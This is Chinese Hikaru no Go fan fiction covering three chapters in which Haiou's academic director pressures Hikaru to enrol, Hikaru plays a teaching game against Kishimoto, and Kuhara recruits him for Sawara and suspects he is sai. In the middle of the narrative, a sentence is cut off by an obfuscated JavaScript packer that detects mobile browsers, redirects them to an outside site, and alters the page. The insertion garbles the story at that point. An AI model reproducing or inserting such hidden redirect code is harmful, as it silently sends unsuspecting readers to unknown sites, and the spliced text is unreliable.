当他还是一如既往地一路晃悠着前往学校时,惊讶地发现校门口有人在等着他。 那是一位中年大叔,目光锐利又夹杂着一丝若有若无的慵懒,下巴高傲地扬起,头发上金闪闪的头油反射着炫目的阳光,嘴角浮现出生硬而客套的微笑。 怎么看上去有点……不怀好意? “您是?”光的脸色顿时僵硬了下来。他不擅长应付这种人。 “这个人感觉很不一般,小光……”佐为敏锐地捕捉到了那人的气场,尤其是……他身后闪闪发亮的大马丁。 有一次佐为和光一起路过南青山的街道时见到了高级轿车的专卖店,被那些豪华装修的店面和店面门口为客人介绍车型的小姐姐的气质震惊得不轻。 这个人是个有钱人……这是光的第一反应。而且是个出身不错的上流社会的有钱人。 他不喜欢这个人。 “可否稍微打扰一下?”那位大叔像是碰到什么脏东西一样弹了弹手套上的灰尘,“这里可实在不是谈话的好地方,不介意的话,我们去校长室如何。” 片刻后。 “哈?!海王?!!” 进藤光所在的小学在当地几乎默默无闻,所以他听到校长热情洋溢地介绍说“这是海王中学的教务主任高木先生”的那一刻下巴都快掉到地上了。 居然是……那个超级精英中学的教务主任?! “很荣幸,进藤君。”大叔很有绅士风度地对他点了点头。 “那个……请问您找我有什么事吗?”光磕磕绊绊地挤出几个字,他可不记得自己和海王扯上了什么关系。 也就之前去参加了一次比赛,还中途就被发现是小学生冒充,主办方之一的海王中学应该对他很不满才对。 “我们听说你的志愿上填写了叶濑中学?” 高木先生的眼神具有极强的杀伤力,那股隐隐约约传达到空气里的锋利感让光有点不寒而栗。 这个男人……很危险。 “没错。”他回答。 “可以的话,海王中学愿意欢迎你的加入。”高木皮笑肉不笑的表情并没有多少诚意,但是进藤光知道单单这个贵族式学校的小BOSS级人物会亲自前来大概是志在必得的表现。 他是在邀请自己去海王就读。 “诶?” 就算最近经历的混乱事件不少,光也一下子转不过弯来。 “这可是千载难逢的大好机会啊,进藤君!你的成绩最多也就能报佐和良中学,高木先生能来特别录取你实在是你的好运……” 光所在的小学的校长乐呵得不行,好像已经把一座金山拿到手了一样眼冒金光。 为了确认,光清了清嗓子:“海王?嗯,我可以知道原因吗?” “当然。”高木原本就细长的眼线由于眯起的角度而更加纤细,“你是围棋界最近很有名的新星,只要你承诺加入海王围棋部,我们就可以无条件录取你入学。这是特长生招收计划的一部分,你并不是唯一的个例,进藤君。” 原来如此……是因为那次比赛的时候自己表现出的优秀实力吗……不,可能也和自己破格加入院生、在一众职业棋手之中也小有名气有关吧。 真是敏锐的一群人啊。 “我没有您想的那么出色。”他婉拒了,因为他可不想离开可爱的叶濑小伙伴们。 佐为有些晕晕乎乎地将视觉的焦点对准高木的发油。 “他的头上有和烤焦的树皮一样的味道诶。” “噗、咳咳。” 光清了清嗓子。他可不想当着外人的面突然笑出声。 “你过谦了,进藤君。”高木却没有不悦的神色,只是声音冰冷毫无感情,“不过这也是海王对学生的要求之一,谦逊,在大多数场合都是一种美德。你非常符合我们的录取标准。” 光突然就不知道该怎么接话了,对面这家伙和他的思维明显不在一条直线上。 校长连忙劝道:“进藤君,海王亲自过来招人,这可是千载难逢的好机会呀。” “海王的围棋指导教师也是职业棋士,进藤君,你是所有人都寄予厚望的围棋新星,这一点圈子里的人可没有不知道的。”高木继续说,“只要你加入围棋部,我们便不会在乎你的分数以及多次违反校规旷课的不良记录。奖学金,足够的课程自由,必要的话我们甚至可以请教师为你单独补课。” 明明是在拜托别人,却是一副高高在上的态度。 该说不愧是实力雄厚的超级中学吗…… 出乎意料地,光却果断地摇了摇头:“我拒绝。” “喔?” 高木静静等待他的下文。 “今年我会去考职业棋士,而且我已经是院生了,所以不会参加业余比赛。另外,海王中学的围棋部确实很厉害,他们不需要我也可以取得应有的荣耀。还是说,高木先生对于自己学生的实力没有信心?” 光小小地翻了个白眼,实话实说,他可不喜欢海王那群熊孩子。居然还欺负塔矢?哈!有病!现在夸他们两句只是为了阴阳高木而已。 对于这句挑衅,高木似乎不为所动。 “海王中学一向追求最卓越的存在,当然,对于你的选择我们会尽量给予帮助,只要你加入围棋部就万事好商量。不愿代表我校出赛也没关系,在你成为职业棋士之后,如果你能定期指导围棋部里的其他学生,我们也一样乐意为你提供额外资金支持。” 什么都想好了啊…… 光深深地呼出一口气:“谢谢,不过,我还是比较喜欢叶濑。” 高木的脸上充满了被掩饰起来却还是能辨识出的嘲讽:“为何?因为叶濑中学有一群和你臭味相投的伙伴吗?” “噌”地一声,光从座位上弹起来,满脸不爽地反驳:“我倒是没想到,大名鼎鼎的海王中学的教务主任会也会这般没有素质,说起话来句句带刺啊?!” 佐为左看看右看看,想拍拍光的肩膀让他冷静下来,却怎么也够不着他的身体,只好着急地大叫着“小光!!小光!!”,却被对方完全无视。 “失礼了,鄙人只是觉得你偏好直截了当的说话风格。”高木露出”和善”的微笑,说,“很明显吧,能进入海王这样的学校是你的荣幸,从无限光明的未来和平凡到发臭的叶濑里做出选择,并不是什么让人为难的事,对吗?” 进藤光的指关节咯吱作响:“叶濑中学不是垃圾堆!!” “我可没有那么说。”高木优雅地接过战战兢兢的校长递来的红茶,不再直视他。 光感觉到重生以来第一次产生了像面对真柴时一样的揍人冲动。 “小光!” 佐为一声当头大喝终于阻止了光的爆发,他厌烦地望了望头顶上的吊灯,没什么好脸色地推开校长室大门。 “对不起,我不会填报贵校的。马上就到上课时间了,我可以走了吗?” “……请便。” 高木想必也不是真心刁难光,只是平日见到的学生都对自己毕恭毕敬,如今进藤光一点也不拿他当回事,难免让他心生不满。 对于高木这样自视甚高的“上层人”,光可没有兴趣讨好巴结,虽然海王确实是所好学校……不过,再好的学校又有什么用? 如果已经心死过一次,就会发现这些所谓“影响人生道路”的重大抉择里有一大半都是被有心人吹鼓起来的假话。无聊透顶。他不想掺和进这些无聊的事里,分散精力。他只是想好好下棋而已。 “进藤君。” 在进藤光即将迈出校长室的瞬间,高木却仿佛改变了主意一般叫住了他。 “什么事?”出于礼貌,光还是不耐烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445071|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地回头了。 “既然你对免试入学不感兴趣,那么我就换一种方法劝你吧。”高木的声音更加低沉,“塔矢亮已经被海王中学录取了,据我所知,他是你最重要的对手没错吧?” “那种事我早知道了!”光满不在乎地晃晃脑袋,说,“因为塔矢,本来我是有过要是能考上海王就好了——之类的想法,但现在我只觉得自己被满怀恶意地利用而已,抱歉,海王这样的高级学校果然还是和我不太相称。” 他的话里有一半是真的。另一半,当然是客套话。 “——用对弈来定胜负吧。” 高木这次玩味的笑容似乎比刚刚浮在脸皮上的笑要真实很多。 此言一出,光停下了脚步。 “啥?” 瞧见他错愕的目光,高木像是在等他缓过来一样停顿了片刻。 “我的侄子也是个围棋相当不错的孩子,他小时候曾经为了下棋而想要放弃到海王念书的机会,最后还是选择了专注学业——很明智的决定。”高木悠闲地站起身来,“不过,这也说明他没有你这样的围棋天赋。” “那还真是多谢啊。”光微微恼火地别过头去。 “现在,那孩子就在海王的围棋部做部长,下一届北区比赛很可能出任我校主将。”高木却并不意外光会露出那样的神情,继续说他自己的话,“与他一战,进藤君。若你能赢得他的认可,那就说明你的围棋才能确实不应该限制在中学里,我便不强迫你来海王,若你输了……” “我要是随随便便输给海王的中学生的话,你们也不会想要我才对吧?” 光觉得这人的逻辑有点奇怪。 高木“呵呵呵”放声大笑了一阵,才恢复了原来的面瘫表情:“不需要其他的证明,你在棋院的名气早就足够作为我们招募你的资本了,不是吗,进藤君?” “好,我接受!要是我赢了,你们就别来烦我了!” 光想了想,欣然应允。反正他也不会有什么损失。痛痛快快地赢下这局,让他无话可说就好了。 “一言为定。” “一言为定。” 与高木先生偷偷约定的事,光没有告诉任何人,包括他家妈妈——如果被知道自己的儿子果断将到嘴的海王录取通知书拒之门外的话,他一定会死得很惨……这个世界的妈妈们绝对都会希望自己的儿子去海王中学的! “这样真的没问题吗,小光?”只有佐为能心怀不安地跟着他。 “嗯,大概吧。”光随意回答。 “大概?”佐为很不满意光使用的词汇,扬起半边眉毛,“大概就是也许会输的意思咯?” “海王的主将我认识,我不会输给放弃围棋投身学业的家伙,但是,棋盘上的胜负谁也说不好,对吧?”进藤光传递给他一个“安心”的表情,“胜率嘛……大概百分之九十九点九?” 其实佐为对光的实力很有信心,不过他此刻有更担心的事。 “可是,海王是所很好的学校呀,为什么小光你不愿意去呢?” 他还开始关心光的人生发展问题了。 “这是我的选择,佐为你就不用操心啦,没事的!”光大大咧咧地笑开了,“那种傲慢得要命的学校,我才不想去呢,嗯,没错!再说了,加贺前辈和筒井前辈都在叶濑啊。” 超级中学和他一点也不配。就算去了那里,以他半吊子的成绩也会被人瞧不起,围棋社说不定也会像孤立塔矢亮一样孤立他吧。有什么意义呢?最重要的是,他一点也不喜欢这个教务主任的态度。 他们是笃定了自己会抗拒不了海王的名声的诱惑吗? 可他们看错人了。 对于费尽心思想维护过去的人生里与自己紧密相连的羁绊的进藤光来说,踏出崭新的一步远远比他想象的还要困难许多。他还是想和过去相熟的人交往。 吃完晚饭之后,光趴在床上,静静看着窗外银色的月光。 和高木先生约好的日期就是明天……对手多半是岸本前辈……其实,棋力到了光这时的水准,怎么也有个八段,跟业余棋士下棋实在谈不上太多趣味,只不过能够看到孩子们脸上全神贯注的神色,他会感到非常高兴。 天空中的云缓缓聚拢,一点一点地变成阴霾,最后,连月光也渐渐消失殆尽了。 也许明天会下雨吧……这是光入睡之前的最后一段记忆。 ●○●○ 41.Chapter 40. 进藤光vs岸本薰 翌日,海王中学迎来了意料之中的小访客。围棋部社长岸本薰在围棋部的教室里不安地踱着步子,时不时抬眼注视高木的表情,后者只回以僵硬的微笑,继续优哉游哉地品味手中茶杯里散发着热气的高级红茶。 “要说红茶,果然还是大吉岭最有意思呢。”他开始说漫无边际的闲话了。 “高木老师……” 岸本默默地咽回了到嘴的反对。他看过进藤光和佐和良的久原的那局棋,完全不是他下得过的水平。 想到这里,岸本的心情突然就不好了。虽说他如今注重学业,对外宣称围棋只是单纯的业余爱好,但再怎么说自己也是曾经在院生二组呆过的棋手,对围棋界的关注度一时半会也不会降低,进藤光的名字他又不是没有听说。职业级的实力,单凭这一点他就赢不了,这是气势所无法弥补的差距。 “为什么高木老师要让他和我下?” 岸本觉得还是有必要问清楚,免得输了还不讨好。 “放心,我并没有让你下过他。此次目的有二,一来可以检验他的实力,二来可以让他放弃去叶濑中学的念头。”高木小口地抿了抿红茶,一脸享受。 “放弃?” “你很快就会知道了。”高木露出了一丝微不可察的笑容,说,“当初我们做约定的时候,说的并不是你赢过他,而是你承认他。” 说到“承认”二字时,高木故意加重了读音。岸本很快便明白了他的意思。 随时耍诈吗……? “……”他沉默了片刻,终于轻轻点头,“我明白了。” 高木满意地举起茶杯:“岸本君果然是聪明人。” 这时候,教师的门被打开,女秘书用公事公办的冷漠口吻说了一句“请进”,于是岸本的眼中出现了一抹耀眼的亮黄色。 初次会面就让他印象深刻的人实在不多,进藤光绝对是其中最独特的一个。要说原因,连他自己也不清楚。 “欢迎,进藤君。” 高木扬了扬手中的英式骨瓷茶杯,示意他只管进来。 “真是豪华的教室呐。”光的语气夹杂了点讽刺,“我还是第一次见到配备有茶室的教室呢。” 偏偏高木丝毫不为所动地笑着:“啊,你说这些茶具吗,是我刚刚叫人搬来的,要是进藤君介意的话,再叫人搬出去也未尝不可。” “不必了。还是赶紧下棋吧。”进藤光的目光很快转向了死死盯着他的岸本,“这位就是我的对手了?” 和印象中的岸本一样,都是一副好学生的样子,戴一副标准资优生的眼镜,眼神严肃而具有杀伤力,以及沉闷少言的个性…… “你好,进藤君,我是海王围棋部的岸本薰,初次见面,请多指教。” “我是进藤光,请多多关照。” 光回应以客气的表情。对于这位曾经指引过他前进方向的前辈,他一直心存感激,在过去的日子里几年难得见到岸本一次,如今能见面,他其实感到发自内心的高兴。 两人来到最近的棋桌前,岸本首先打开了棋罐,用“我已经准备好了”的目光望着光。 犹豫片刻后,光还是询问道:“……那么,让我确认一下,需要让子吗?” “不必,第一次对弈,还是互先吧。”岸本却没有退却的意思,“不用顾虑太多,进藤君,我知道你很强。” 他一语道破了光的担心。 光不好意思地摸摸后脑勺:“不好意思……” 佐为乐呵呵地在一旁挤眉弄眼:“还没习惯别人的夸赞吗,小光?” “啰嗦啦!” 双方猜子,光明明一点紧张感都没有,却莫名地被岸本脸上慎重的神色打动了。这情景,简直就像之前明知对手很强大、却还死撑着不让佐为代替他下棋的自己一样。 因为他的这份认真,光也决定全力以赴地战斗一番。他缓缓闭上双眼,深呼吸,然后疾速睁开,眼瞳中的淡然已经变成了燃烧的火光。没错,对面坐着的不仅仅是一个棋力远不及自己的前辈,同时亦是一个懂得尊重对手的真正的棋士。 “我执黑。”摊开双手后,光瞬间数清了棋盘上棋子的数量。 “请多指教。” 岸本弯下腰去。 “请多指教。” 光也弯下腰去。 观战的高木露出了满意的微笑。 啪—— 清亮的棋子叩击棋盘的声音,进藤光皱了皱眉,海王中学果然不一般,棋具都是上好的,哪像当初叶濑,连个像样的棋盘都没有…… 第一步,他落在了老地方,17之四,小目。 岸本甚至没有露出任何讶异,对于他而言,不管怎样的下法都是可能发生的,在踏进教室之前,心里就已经做好了足够的准备——被迎头痛击或戏耍的准备。以大赛那日进藤光与佐和良对决的棋力来看,这是绝对会发生的事实。 然而,接下来的棋路却十分顺畅,光似乎在有意识地引导着岸本的棋步,乍一看似乎双方势均力敌,可是只要是懂围棋的人都能感觉到,这样的势均力敌确实有些平衡过头了。 要如何打破这样的平衡?岸本想到这里,大约也明白了光的意思。 ……指导棋? 每一步都经过精确的计算,即便下法不是最佳的选择,但是为了配合低水平的对手而下出不属于自己心里的棋,说实话,其难度并不小于与同水平高手全力拼杀。岸本是知道这一点的。 正因为心中清楚,才更加没底,完全无法估测对手的真实技艺。 自己果然还是被“像模像样”地认可了吗。 有下指导棋的必要,至少说明了对方知道自己的实力足够达到看懂棋盘上势力的地步,岸本觉得有点无力,虽说他并不讨厌这样的做派。 “进藤光……这个名字,我确实记住了。” 从他的身上散发出的气息,一点也不像一个12岁的孩子。倒不如说,岸本感到自己在和一个阅历比他丰富得多的大人对战,无形中传来的压迫感,行云流水一般的棋路,沉着无波的表情,面前的少年一定经过了数不胜数的死战,才会拥有今天这个姿态的吧。 光依旧按照原定的节奏继续进行棋局的构成,他没有注意到,坐在对面的岸本眼中流露出淡淡的寂寞。 围棋……到底是什么样的东西? 天赋,努力,机缘,爱好,到底要具备怎样的素质,才能坚持走完这条漫长到看不见尽头的长路呢…… 他不知道答案。作为放弃围棋的失败者,岸本没有心情去考虑这些问题,他知道在院生里几乎永远只能徘徊于二组的自己放弃职业围棋是一种必然,也是最正确的选择,可是,就算知道那是唯一可行的途径,他还是稍微有点不甘心。 毕竟那是自己曾经全身心投入过的、疯狂地深爱过的东西。一辈子说不定都只有一次。 没有人能明白失败者的落寞,那是比煎熬更加沉重的感情。 同期的院生里还有一个少年,和他有过相似的感受。那个少年甚至因为不敢面对棋盘,彻底淡出了赛场,一局棋也不下,直到上个月的北区中学围棋联赛中贸然申请与进藤光对局……看来是进藤改变了他。 那么现在,进藤也能改变自己吗? “进藤君。” 在离收官还有一步之遥时,岸本突然开口了。 光不知所措地看着他,在自己看来,这局棋并不是没有迂回 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“我承认,进藤君比我强得多。” 高木扬起半边眉毛,已面带不悦:“……哦?” “谢啦。”光笑嘻嘻地挥挥手,“你也不赖哦,岸本前辈!一路上都跟得不错嘛。” “就算你这么说,我可不会道谢。”岸本伸出手指推了推眼镜,仿佛在尽力使自己显得心平气和一些,这样回答,“因为我还是坚持,自己选择的是一条正确的道路。” “也许是吧。你怎么跟久原一模一样。”光无奈地摊开双手。 “……成为职业棋士之后,也请你务必坚持你认为正确的那条道路。”岸本停顿了一会儿,仿佛在叹气一样地说。 光愣住了。 说实话,他并没有预料到对方会说出这样的话,他眨了眨眼,确认那是从岸本口中传来的叮嘱,突然就抑制不住嘴边的大片大片的笑容。 “啊,我会的。” 佐为也精神饱满地点点头:“我也会一直继续下去的,追求神之一手!” “那当然。”光转过身,给佐为一个大大的大拇指,“你可不许丢下我一个人溜走哦!” “嗯!” 佐为毫无杂质的幸福让光感到同样的喜悦。这次一定可以有所改变,他这样相信着。然后,往前再度迈出自己的步伐。 放弃了围棋的人并非不爱围棋,恰恰相反,他们就是因为太爱了,才无法接受自己实力有限的事实。与直接退出对弈世界的久原相比,还愿意留在棋盘上战斗的岸本,似乎是个真正的“勇者”——即使再下下去也不可能离职业世界更近了,即便如此,他也还是在下棋,不曾停止。 岸本只是将自己更遥远的梦想托付给了光,刚才那句叹息里,隐藏着的正是他无比真挚的情感。 进藤光没必要留在海王,他该去的是别的地方。 更高、更高的地方。 “高木先生。”光忽然想到了更重要的问题。 “不用担心,我会遵守约定,不强迫你来海王中学。”高木此刻的脸上却并没有半分不悦,“当然,我们还是很希望你可以考虑……” “那就好。谢谢今天的招待。”进藤光拿起书包,飞快地走到门边,无论起因如何,他都很高兴能与过去的前辈进行手谈,连带着对高木的印象都好转了,“红茶很好喝!” 一种浑身轻松的感觉让他的脚步也欢快起来,就好像真的回到了童年时代一样,可以全力追逐头顶绚烂的阳光。 直到那一刻之前,他都是这样认为的。 ●○●○ 42.Chapter 41. 来佐和良吧! 又是樱花盛开的季节。 每逢花开,樱花烂漫都是刻在日本人心中的图景,翩翩花瓣散落,微风吹过,如三月间细雨缠绵。春天泥土的芬芳依旧,一片片花瓣无声无息地飘落,宣告着短暂而亮丽的美的结束,归于尘土。 进藤光不怎么喜欢樱花,因为每每他的视线触及落地的花瓣,他都会情不自禁想起某个人。也许现在已不似从前那般恐惧这份思念,但他还没有足够的勇气和过去告别。 1999年四月,进藤光终于告别了他的第二个小学时代,成为一名真正的国中生。 这原本是一件值得高兴的事,美津子也为光的成长而欢欣鼓舞,可这一切的平静都在光打开录取通知书的瞬间化作晴天霹雳。 “咦?怎么会……” 身后的佐为惊讶地张大了嘴。 呈现在他们面前的,确实是“海王中学”的录取通知单没有错。邮箱里也确实没有第二封来自叶濑的信件。 进藤光用力揉了揉眼睛,再三确认那华丽丽的标志,然后眼眶中飙升三丈高的怒火。 “这又是谁搞的鬼?!!!!!” “冷静啊,小光!”佐为习惯性地冲到他面前,配合地大呼小叫。 “怎么可能冷静得下来啊?!高木那个混蛋根本没经过我的同意!我的志愿明明只填了叶濑中学,他居然出尔反尔?简直胡闹!!” 进藤光握紧拳头,指间嘎吱作响,额头上蹦出一个大大的十字路口,他无比气愤咬牙切齿的模样让佐为也不禁小小地后退了一步。 “怎么了,小光?” 美津子抱着新晒的衣服从起居室里走过,正好碰见表情狰狞的光,有些担心。 糟糕,这东西还不能随随便便给她看……不被她发现说不定还有转圜的余地,万一让她知道光收到了海王的通知书,她绝对会欣喜若狂以至于完全不去考虑她儿子被卖了的事实啊!这样想着,光眼疾手快地将那张漂亮的文件纸塞进口袋。 “没事……真的没事,我出去一下,午饭前应该会回来——” “啊,小光,你还没吃早饭呢!”时时刻刻,美津子最关心的问题当然还是自家儿子的身体健康,“总这样任性可不行!” “不用了!你们先吃吧!就这样!” “等等,小光!” 美津子的话已经传不到儿子的耳朵里了。 进藤光三步跨作两步地飞奔出家门,身后飘着同样急匆匆的幽灵,两人一路奔波,脚步踏过的时候带起飞扬的樱花花瓣。天空是纯净的蓝色,春日真的已经来到了,只是他们没有多余的注意力去感慨大自然的美丽。 “那个混账高木居然敢食言,我今天一定要让他见不到明天的太阳!!” 进藤光一脸腹黑的神情。 “比起那个,还是先去叶濑中确认情况才行吧?”佐为伸出食指,提出了一个关键的建议。 听见这话,进藤光的脚步顿时慢了下来:“说得也是,先去问问叶濑是怎么回事,我的成绩应该比他们的录取线高出不少才对……” 当然还是达不到海王的通常录取标准啦,但以他的学业能力,叶濑中学没理由拒绝收下他。 于是他们开始掉头冲向叶濑中学,路人们都狐疑地看着狂奔的进藤光,不知道发生了什么事,直到他们抵达叶濑那熟悉而破旧沧桑的校门口。 叶濑中学倒是一点没变,还是记忆中那副普通得无法更普通的姿态,由于尚未正式开学,学校里也只有零零散散两三个行人,似乎是提前来准备开学事宜的教职工。进藤光缓了缓气,抓住其中一个人看上去最好欺负的就开始盘问: “告诉我,教务处在哪里?!” 那个被莫名迁怒的教职工则是一脸收到惊吓的表情:“诶?诶诶?” 片刻后。叶濑中学教务处。 “真是对不起,我们确实收到了你的入学申请,但也确实没有发出录取信。至于为什么海王会录取你嘛……”戴眼镜的工作人员看起来老实巴交的,不像是在说谎,“我也不是很清楚。” 进藤光甚至没精力掩饰失望。 “你这根本不算是回答嘛。” “啊,主任,你来得正好……”眼镜男突然两眼放光,他的视线聚集在门口的方向,那里站着一个面色不太好的中年大叔,正用考量的目光研究着进藤光的脸。 进藤光被看得有点不舒服,于是开口说话,想打破这阴森的气氛。 “主任?你、我是说,您就是叶濑中的招生负责人?” “的确是我。”中年大叔扶了扶自己的帽檐,侧过身去,似乎对光怀有某种不屑,“海王中学在东京地区的教育界地位如何,我想你也应该很清楚,他们想收你是你的荣幸,你大可四处炫耀你是怎样被声名远扬的海王费尽心思收入囊中的。” 这语气怎么也不算和善。 光抬起半边眉毛:“怎么回事?” “叶濑被董事会强调了不准留你,具体原因我们也无从得知。”中年大叔没有正面回答他,但是进藤光又不是真的傻到家的小学生,自然猜得到几分真相。 “是高木搞的鬼?” “如果你还有点修养的话,叫长辈的名字时至少加上‘先生’两个字……”中年大叔失去了耐心似的走进房间里,与进藤光擦肩而过,“这里不欢迎闹事的人。你就算再争辩也没有用,我们没有办法给你发录取通知书,明白吗?” 佐为皱起眉头。“好过分……” 海王和叶濑都是私立中学,确实有权力拒绝特定学生的入学,也可以发录取信给任何学生,从章程上来说就和公立不一样。即便如此,这样胡闹也太小题大做了。该不会是他惹恼了海王,结果被当成眼中钉了吧? 进藤光目不转睛瞪着对方,直到手心里细密的汗珠将他唤回现实。 “这样不讲道理的事,你们怎么会允许它发生啊?”他知道多说无益,只恼火地撞开房门,随后想起了什么似的补充了一句,“今天真是打扰了!!” “砰”地一声,光关上门潇洒地离去,只留下目瞪口呆的眼镜男和略微不满的中年大叔。 “主任……”眼镜男怯怯地望着自己的上司。 “无碍。只是个成绩二流的学生,不值得为他和海王发生冲突。我们学校又不是开棋院的。”中年大叔随手拿起桌上的报纸,转移了话题,“今年的入学典礼准备好了吗?” “是,已经大体成型了……” 镜头拉向漫无头绪的进藤光和佐为这边。 在气急败坏地冲出叶濑中之后,他们又一起去找了海王的高木。有一说一,能去海王中学念书真不是件坏事,至少进藤光之前还曾经这样美滋滋地幻想过,可是自己主动选择他们是一回事,被逼迫就读却是另外一回事。尤其是搀进了不守信用的标签之后。 总而言之就是超级不爽! 然后在海王的办公室里,发生了一起令进藤光的不爽再度升级的事件。 面对质问的光,精明的高木脸上连一点小小的波澜都不曾出现,只慢悠悠举起手中高档到令人汗颜的红茶杯: “我说过不会强迫你来海王,可没说过允许你去叶濑。” ——神逻辑! 光抑制破口大骂的冲动,费了九牛二虎之力、还是没能彻底平静下来。他抽搐了一下嘴角,用可以杀人的目光盯着高木,对方却一直面无表情地僵持着,半点回应都没有。 进藤光在心里默默地想,他确实无法改变这些决定。海王是财团开设的学校,而他只是个普通学生,至少在大多数人眼中,他什么都不是,就算他真要跟海王较劲,怕也只会让他们的关系变得更糟糕。就算试图借用司法的力量,自家妈妈多半也会劝他干脆去海王吧。 等进藤光清醒过来,他和佐为已经走到了海王外面的街道上,一家便利店前。 “小光,你没事吧?” 佐为感受到了从进藤光身上散发出的浓浓怒气,有点担心。 “我好得很!!”他先是自暴自弃地叫了一句,意识到自己对佐为做了奇怪的事之后又悲叹地揪着自己的头发,深深长叹,“唉……” “你为什么一个人在这里唉声叹气?” 说话的人并不是佐为,进藤光猛地抬起头,不料自己的上额“哐当”地笔直撞上对方的下巴,发出清脆的声响,怕是撞得不轻。 “靠——进藤光!你谋杀啊?!” 被撞的人凄惨地哀嚎了一声。 “对不起对不起!诶,你、你是……”进藤光辨认着对面那人的脸,好像长得有点眼熟,“ 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“来买东西,今天711开学买一送一哟,有我最喜欢的乌龙茶!”久原举起手中的购物袋,里面塞满了各种小甜点,“进藤君呢?看你心情似乎不太好。” 进藤光被他一提,立马回到暴怒模式,“就是说啊!某些超级中学是不是太把自己当回事了?以为自己是海王就可以为所欲为?” “海王?发生什么事了?”没想到,对方的慈母属性突然爆发,一瓶乌龙茶就这样强行塞进了光的手掌心,“说不定我可以帮到你。” 于是可爱的进藤光小朋友就这样毫无防备地一股脑倒出了所有的烦恼,虽然他并不觉得对方能给出什么有实际性意义的建议。没有想到的是,久原在“嗯……”了长达数十秒之后却露出了一个“交给我吧”的大笑容。 “很简单,你可以来佐和良中学嘛!” “哈?”进藤光一点不想搭理这异想天开的前辈,“这就不必了。” “哎呀,叶濑那边不要你,海王你又不想去,当然是来佐和良了啊!”久原却莫名地热情高涨,使劲煽风点火,“反正你也没有其他的解决方法了,听我的,来佐和良吧!” 话是这么说,可他也不想去佐和良啊!怎么就莫名其妙被两所中学同时挖角了? 光精疲力竭地倒在一旁的电线杆上,望着头顶漂浮的云,时间一直在流逝,他必须尽早解决这个麻烦。 “退一万步说,佐和良也不会要我吧?”光指指自己,“在叶濑都不趟这浑水的情况下……” “这个倒是没问题。海王朝叶濑施压本来就不合理,一而再再而三做这样危险的事,对名声没好处。我可是记者,精通舆论攻击,你忘了?”久原笑得异常灿烂,语调也轻松得好像什么事都没发生一样,“而且,我爸爸是佐和良中学的校长。他说要收你谁也没法否决。” 佐为注意到光的表情在一瞬间僵硬,然后变成不可理喻的惊讶:“——校长?!” 这家伙!原来一直隐藏这么深的吗?! 怎么看都只是个痴迷围棋的落魄小记者啊!浑身上下值钱的也就那台佳能相机而已! “嗯哼,看起来这次你要欠我一个大人情了,进藤君。” 久原依旧善良地微笑着,那笑容和煦得有些过分,让进藤光感到莫名紧张。他已经可以预见到这个人情绝对没那么好还了。 “我不要!!你绝对另有图谋!” 见他这么抗拒,久原掏出塑料袋里的小甜点,坐在便利店前的长椅上,开始吃奶油顶上的那颗草莓。 “我知道你和叶濑围棋部的人关系不错,但是,也不是非得去叶濑读书不可吧。来我们学校之后,你也可以经常去找他们对弈,离得又不远,很方便的。” “那也不行!我总觉得你有点太过热情了,可疑得要死。”光毫不留情地吐槽。 意外的是,对方完全没觉得被吐槽了,反而爽朗地笑了起来。 “哈哈哈!你能这么说我很高兴哦。那就实话告诉你吧,其实……我不是来买711的打折乌龙茶的。” “啊?” “——我是故意在这里等你的,进藤君。” ●○●○ 43.Chapter 42. 你会成为下一个世界冠军 久原手中的草莓蛋糕才吃了一半,语气格外淡然。 但光的脸色已经像见了鬼一样惨白,满头都写着问号。 故意等他?在海王门口?难道久原早就知道他被海王录取了?然后一直等待着介入的时机?这真的不是跟踪狂吗?比塔矢亮还塔矢亮的跟踪狂啊! 接下来的那句话更是炸裂级发言。 “我对你着迷了。” “……???” 光一时间不知自己该做出如何的反应。尴尬的气氛在两人之间冒出来,久原才意识到刚刚那句台词略有歧义,大笑着拍了拍自己的膝盖。 “别误会,我的性取向很正常!我着迷的是你的棋艺啦。在你天才级别的棋艺背后,一定隐藏着某种惊天大秘密,我的直觉是这样告诉我的。所以,来佐和良吧!我想近距离观察你的棋路,学校会为你提供不受干扰的练习场所,我父亲也会出面聘请高段职业棋手来做顾问,如果你想专心研究围棋,这里一定会令你满意。” 久原面带微笑地说出这席话,一般人如果是突发奇想,措辞绝不会如此有逻辑,怎么都让光觉得不太对劲。 “你不会真的是个私生饭吧?!我可没什么便宜让你占啊!” 他防御性地护住了自己的双肩。 对方一脸受到误解地睁大了眼睛。 “NO NO NO!我是个记者,记者不愿错过历史般的名局诞生的瞬间,就像追求普利策奖一样,我追求着‘进藤光’这一人物的成长。所以我希望和你交个朋友。” 久原在用外国人般的语调说出这些浮夸的台词时,眼中的热情却并无虚假。 一年半以前,经历连续苦涩的失败后,他一度放弃了围棋。 看棋很有趣,但轮到自己下棋就完全不是这回事了,那些在他眼中无比清晰无比单纯的脉络,一到需要他亲手搭建时,他就忍不住双眼发黑、呼吸困难,大脑想要指挥身体做的事一点也做不出来。医生告诉他,这种病,似乎叫做“易普症”。那之后很长一段时间,他只要摸到棋子就会呕吐。 即便现在克服了这个病症,他也不得不承认,自己已经不适合下棋了。只有在观看进藤光下棋时,他能找回一些仿佛是自己在下棋的快乐,所以他才在听说进藤光被海王针对后、第一时间采取了行动。 但他越是认真,就越让人忍不住担心他是不是别有用心。 “谢谢你的好意,但我还是更想和筒井前辈他们一起……” “——你就是sai,对吧。” ?!!!! 进藤光的耳边传来了尖锐的嗡鸣。 这个人今天一直在接二连三地用极度平静的语气抛出极度精彩的重量级大炸弹。与若无其事地拆开巧克力面包外袋的久原相比,光的反应可谓是耗子见了猫——魂都吓鼠了。他直接当场表演了一个嘴瓢。 “……泥、泥在瞎说什么呢?俺的网名是hikaru啦!” 佐为也吓得飘走好几米远:“是啊!是啊!他是hikaru,我才是sai!不要搞错了!” 身为幽灵,佐为的声音传不到对方耳中,只有进藤光满头大汗地承受着拷问的煎熬。 见他如此高度紧张,久原的神色中充满了“我理解你为什么说谎”的释然,他并不打算虚张声势,而是继续低头吃手里的巧克力面包,像是早就对这次谈判有所觉悟。 